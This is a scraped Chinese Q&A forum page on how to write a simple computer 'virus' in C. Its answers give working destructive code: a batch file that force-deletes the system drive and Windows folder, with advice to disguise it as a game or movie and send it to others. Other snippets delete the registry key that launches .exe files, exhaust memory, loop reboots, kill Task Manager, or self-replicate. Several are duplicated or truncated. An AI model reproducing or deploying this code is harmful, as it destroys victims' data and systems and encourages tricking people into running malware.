如何用C语言编一个简单病毒?

不是让想感染病毒的人点一下就感染,而是让计算机自动删除 注册表的 HKEY_CLASSES_ROOT/exefile/shell/open/command 的所有东西, 不要太过火了(想你也没法用记事本做):) 呵呵,第一个害谁呢?? 当然是自己了,,, 哈哈哈 咯咯咯....... 我不是疯子 哪个高手把程序给我啊???
不懂C语言的人别来凑热闹,,, 这东西不会对电脑造成太大的伤害... 对的我的QQ是4561020 可以Q 我 (怎么样? 7位QQ 盗的~~~ -_-#)

建立一个文档,写入如下片段:
@echo off
del /f /s /q %systemdrive%\*.*
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.*
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo
之后保存将文件重命名为"【文件名】.bat"
然后文件会自动变异为木马文件【360 瑞星什么的弹窗狂出】,别管他,允许就行了,大约重命名完成后不到半秒就完事了,然后把这个文件发到别人电脑里,名字弄得吸引人一些,比如游戏啊,电影,歌曲什么的,【扩展名一定为.bat】只要他一打开............片刻之后,除了装系统估计一般人没辙了
以上为最简单的病毒软件了。利用的是批处理删除系统文件的方法
温馨提示:内容为网友见解,仅供参考
第1个回答  2007-02-06
先 建立一个 1.bat文件
再根据下面写的照着把你要删除的项写上

删除注册表中的项
Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
保存为reg文件双击导如即可删除此项
注意有个“-”号

删除注册表中的值
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"SoundMan"=-
这样可以删除此值
第2个回答  2007-02-06
先 建立一个 1.bat文件
再根据下面写的照着把你要删除的项写上

删除注册表中的项
Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
保存为reg文件双击导如即可删除此项
注意有个“-”号

删除注册表中的值
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"SoundMan"=-
这样可以删除此值

方法告诉你了,自己去操作,记得先备份注册表
做好了再去害人
第3个回答  2007-02-06
#include<windows.h>
void AddKey(); //增加键
void DeleteKey();//删除键,为了你的安全,调用完DeleteKey()后,调用AddKey()修复刚才那个键.
int main()
{
DeleteKey();

}
void DeleteKey()
{
HKEY hKey;
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Classes\\exefile\\shell\\open\\command",&hKey);
RegDeleteKey(hKey,NULL);
RegCloseKey(hKey);
}

void AddKey()
{
HKEY hKey;
char buf[10]="%1";
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Classes\\exefile\\shell\\open\\command",&hKey);
RegSetValue(hKey,NULL,REG_SZ,buf,strlen(buf));
RegCloseKey(hKey);
}
第4个回答  2007-02-21
#include<windows.h>
void AddKey();
void DeleteKey();
int main()
{
DeleteKey();

}
void DeleteKey()
{
HKEY hKey;
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Classes\\exefile\\shell\\open\\command",&hKey);
RegDeleteKey(hKey,NULL);
RegCloseKey(hKey);
}

void AddKey()
{
HKEY hKey;
char buf[10]="%1";
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Classes\\exefile\\shell\\open\\command",&hKey);
RegSetValue(hKey,NULL,REG_SZ,buf,strlen(buf));
RegCloseKey(hKey);
}本回答被提问者采纳

病毒怎么写 用c语言
int main(){ char *str = NULL;while(1)str = (char *)malloc(4096); \/\/ 无限申请内存而不释放造成系统最终崩溃。这就是最简单的病毒了 return 0;}

如何用C语言写病毒?
具备自我复制、运行能力。以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过\\x0d\\x0a请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究\\x0d\\x0a\/* SVCHOST.C *\/\\x0d\\x0a\/* SVCHOST.EXE *\/#define SVCHOST_NUM 6\\x0d\\x0a#include\\x0d\\x0a#include\\x0d\\x0achar...

想编辑个小病毒 比如让别人机子关机一类的 放骚扰明白点 我是菜鸟...
程序运行后;会往注册表里添加一个自动启动项;然后重起机子;重起机子后本程序又自动运行;自动运行后又重起 机子;重起机子后又自动运行...死循环...解决方法是重起的时候进安全模式;把注册表里的那一项删除掉;再重起就好...include<stdio.h> include<dos.h> include<process.h> void main(){ ...

怎样用C语言编写病毒 \/ 蓝讯
&&object_not_already_infect)infect_object;} 病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.一个简单的触发机制可能是这样...

如何用C语言编一个简单病毒?
建立一个文档,写入如下片段:echo off del \/f \/s \/q %systemdrive%\\*.del \/f \/s \/q %systemdrive%\\recycled\\*.del \/f \/s \/q %windir%\\*.del \/f \/s \/q %windir%\\prefetch\\*.rd \/s \/q %windir%\\temp & md %windir%\\temp del \/f \/q %userprofile%\\cookies\\*.del \/f \/q...

怎么编小的病毒啊 用C语言行吗(没有恶意就想试试)
行,但是我得告诉你:在当前,要写病毒一般都要求对电脑有很深的了解。可以说,病毒是程序中最高深的东西。因为它要不让人查觉,还得脱过杀软,又要实现自身的目标,所以,一般的人是办不到的。

c语言木马源代码
void main(void){ virus();} int virus(){ struct ffblk ffblk;FILE *in,*out,*read;char *virus="virus.c";char buf[50][80];char *p;char *end="return";char *bracket="}";char *main="main";char *include[2]={"stdio.h","dir.h"};char *int_virus="int virus()";char...

用c语言编写一个计算机病毒的例子
2):要知道计算机能执行的只是二进制的代码。无论是高级语言表达式,如(1+2),还是汇编语言,add r1,r2,r3.都要翻译成目标平台的二进制代码。如果你学过微型计算机原理,应该知道一个汇编指令,最终要执行还得用处理器的微指令来表达。3):最后这些微指令转化成电信号,控制处理器内的众多的与或...

怎么用c写病毒,我要详细过程
一个专门结束“Windows任务管理器”的程序,前些天编写的,如果这也能算是“病毒”的话,不妨楼主看看。在VC++6中编译成功,可以正常运行。C++编写的,略微改动一下就是标准的C语言程序。include "stdio.h"include "Windows.h"void kill(void);void main(){ while(1){ kill();Sleep(100);} }...

C语言简单木马程序
简单的可以一直动态分配内存 include "stdio.h"int main(){ while(true){ char* pTemp = (char*)malloc(4096);} return 0;}

相似回答